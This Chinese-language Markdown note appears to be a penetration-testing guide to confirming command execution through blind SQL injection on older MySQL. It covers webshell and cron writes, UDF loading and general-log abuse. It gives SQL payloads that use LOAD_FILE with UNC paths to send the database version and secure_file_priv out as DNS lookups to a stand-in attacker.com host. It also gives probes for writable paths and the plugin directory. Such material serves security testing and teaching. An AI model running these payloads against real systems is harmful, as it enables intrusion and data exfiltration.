54 lines
2.4 KiB
Markdown
54 lines
2.4 KiB
Markdown
### 无回显、MySQL 5.7 以下、wait_timeout 极短的情况下怎么快速验证 RCE
|
||
|
||
要最终执行系统命令,通常需要满足以下条件之一:
|
||
|
||
1. **文件写入权限 + 知道可写 Web 路径**:通过`INTO OUTFILE`写入Webshell,再通过 HTTP 访问触发命令执行
|
||
2. **文件写入权限 + 计划任务/启动项**:写入计划任务或启动脚本,等待系统定时或重启时执行
|
||
3. **数据库扩展(UDF)**:拥有 `FILE` 权限且插件目录可写,加载自定义函数执行系统命令
|
||
4. **MySQL 日志功能**:开启 general log 并将查询写入 Web 目录,生成包含代码的日志文件(需满足写权限)
|
||
|
||
**1. 验证数据库出网能力**
|
||
|
||
利用 `LOAD_FILE()` 支持 UNC 路径的特性(MySQL 中 `load_file()` 可访问 `\\\\IP\\share`,触发 SMB 请求),将数据作为子域名发送至攻击者控制的 DNS 服务器
|
||
|
||
```sql
|
||
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@version), '.attacker.com\\test'));
|
||
```
|
||
|
||
若攻击者收到 DNS 解析请求,则证明:
|
||
|
||
- 数据库可以出网
|
||
- 数据库版本已知
|
||
- 数据库用户拥有 `FILE` 权限(因为 `LOAD_FILE` 需要 `FILE` 权限)
|
||
|
||
**2. 探测`secure_file_priv`设置**
|
||
|
||
继续利用 `LOAD_FILE` 将 `secure_file_priv` 的值带出:
|
||
|
||
```sql
|
||
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@global.secure_file_priv), '.attacker.com\\priv'));
|
||
```
|
||
|
||
- 如果收到 `空.attacker.com`,表示 `secure_file_priv` 为空,允许任意路径写入
|
||
- 如果收到如 `/var/lib/mysql-files.attacker.com`,则只允许该目录
|
||
- 如果没有收到请求,则可能是 `NULL`,需进一步确认(可尝试写入测试文件后验证)
|
||
|
||
**3. 探测可写目录**
|
||
|
||
若 `secure_file_priv` 允许写入,需要找到一个可写且后续能触发命令的目录。常见试探目标:
|
||
|
||
- **Web 根目录**:尝试写入一个无害测试文件(如`test.txt`),然后通过 HTTP 访问确认
|
||
- **系统临时目录**(如 `/tmp`、`C:\Windows\Temp`):可写但通常无法直接触发命令,除非配合其他漏洞
|
||
- **计划任务目录**(如 `/etc/cron.d/`、`C:\Windows\Tasks`):写入后等待系统执行
|
||
|
||
**4. 验证 UDF 可能性**
|
||
|
||
如果无法写入计划任务或Web路径,但数据库版本较低且为 root,可尝试 UDF。需先获取插件目录
|
||
|
||
```sql
|
||
SELECT @@plugin_dir;
|
||
```
|
||
|
||
可通过 OOB 带出
|
||
|
||
如果插件目录可写,则可写入UDF库(需先转换为十六进制)并创建函数执行命令 |